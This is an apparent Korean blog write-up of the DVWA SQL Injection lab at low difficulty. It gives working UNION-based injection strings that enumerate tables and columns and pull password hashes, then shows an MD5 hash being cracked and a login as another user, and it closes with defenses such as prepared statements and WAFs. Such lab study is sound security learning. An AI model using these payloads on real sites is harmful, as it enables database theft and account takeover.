Notice
Recent Posts
Recent Comments
Link
«   2025/12   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

HW_chick hacker

DVWA실습 - SQL Injection 본문

Activity/DVWA

DVWA실습 - SQL Injection

{{HW}} 2024. 7. 18. 11:13

 

SQL Injection ?

  • DB와 연동된 웹 애플리케이션에서 공격자가 입력폼 또는 URL 입력란에 SQL 구문을 삽입하여 DB를 조작할 수 있는 취약점
  • 클라이언트 측에서 입력된 신뢰할 수 없는 데이터가 SQL 쿼리 로직의 일부로 해석되어 DB에서 실행되는 공격

 

low 단계

 

 

1' and '1'='1

 

1' and '1'='2

 

참과 거짓을 나눠 sql구문을 넣어 출력 값을 확인한다.

 

1' order by 2--  # 참
1' order by 3--  # 거짓

칼럼 수는 2개이며 3개로 되었을 시 거짓이 되어 오류페이지가 나온다.

 

1' UNION ALL SELECT 1, 2--

 

칼럼 두개에 1과 2를 출력하면 "First name", "Surname" 각각 출력된다

 

1' UNION ALL SELECT version(), database()--  # 버전: 5.0.51a-3ubuntu5, 데이터베이스: dvwa

 

1' UNION ALL SELECT table_schema, table_name FROM information_schema.tables--
1' UNION ALL SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema='dvwa'-- 
# dvwa의 users정보를 확인

 

 

1' UNION ALL SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users'--
# 테이블 칼럼 추출

 

테이블 칼럼을 추출하였다.

칼럼들을 보면 사용자들의 ID, PW를 알수 있을 만한 칼럼은 "user", "password"이다.

내가 해커 입장이면 맛도리 있는 친구들을 봐봐야 겠지요~~😎😎

 

 

추출한다면 admin계정부터해서 사용자들의 계정을 가지고 있다.

패스워드는 암호화가 되어 있어 복호화가 가능한지 확인 후 알아 내면 된다.

 

 

Hash-identifier 도구를 활용하여 해당 비밀번호는 MD5형식으로 암호화가 되어 있다.

MD5 복호화 사이트에서 돌려보면 "password"라는 비밀번호를 알 수 있다.

 

 

 

smithy 계정으로 로그인을 성공 했다.

 

SQL Injection 대응방안

Prepared statement 구문을 활용한 개발

  • Prepared statement 구문을 사용하여 입력된 값은 모두 문자열로서만 처리되도록 구현하는 것이 가장 안전하다.

특정 문자 입력 시 치환되도록 구현한 코드

  • 하지만 여러 이유로 Prepared statement 구문을 사용하여 구현하지 못하는 상황이 있을 수 있다. 그럴 경우 입력된 값이 개발자가 의도한 값인지 검증할 수 있는 로직을 구현하여 불필요한 특수 문자 등은 입력되지 않도록 구현해야 한다.
    위 예시는 특정 문자가 입력될 경우 자동으로 공백으로 치환되도록 설정하고 SQL 구문이 입력란에 입력될 경우 에러 팝업창이 출력되도록 설정하여 불필요한 문자는 입력하지 못하도록 제한한 코드이다.

DB 에러 메시지가 출력되지 않도록 설정한 것

  • WAS 설정 파일(위 예시는 php 설정 파일)에서 에러메시지는 출력 되지 않도록 설정해야 한다.
  • 웹 방화벽(WAF, Web Application Firewall)을 사용하여 부적절한 문자열이 전송될 경우 차단한다.

'Activity > DVWA' 카테고리의 다른 글

DVWA실습 -File Inclusion  (0) 2024.07.25
DVWA실습 - Command Execution  (0) 2024.07.16
DVWA 실습 - Reflected Cross Site Scripting (XSS)  (0) 2024.07.16
DVWA 실습 - Brute Force  (0) 2024.07.12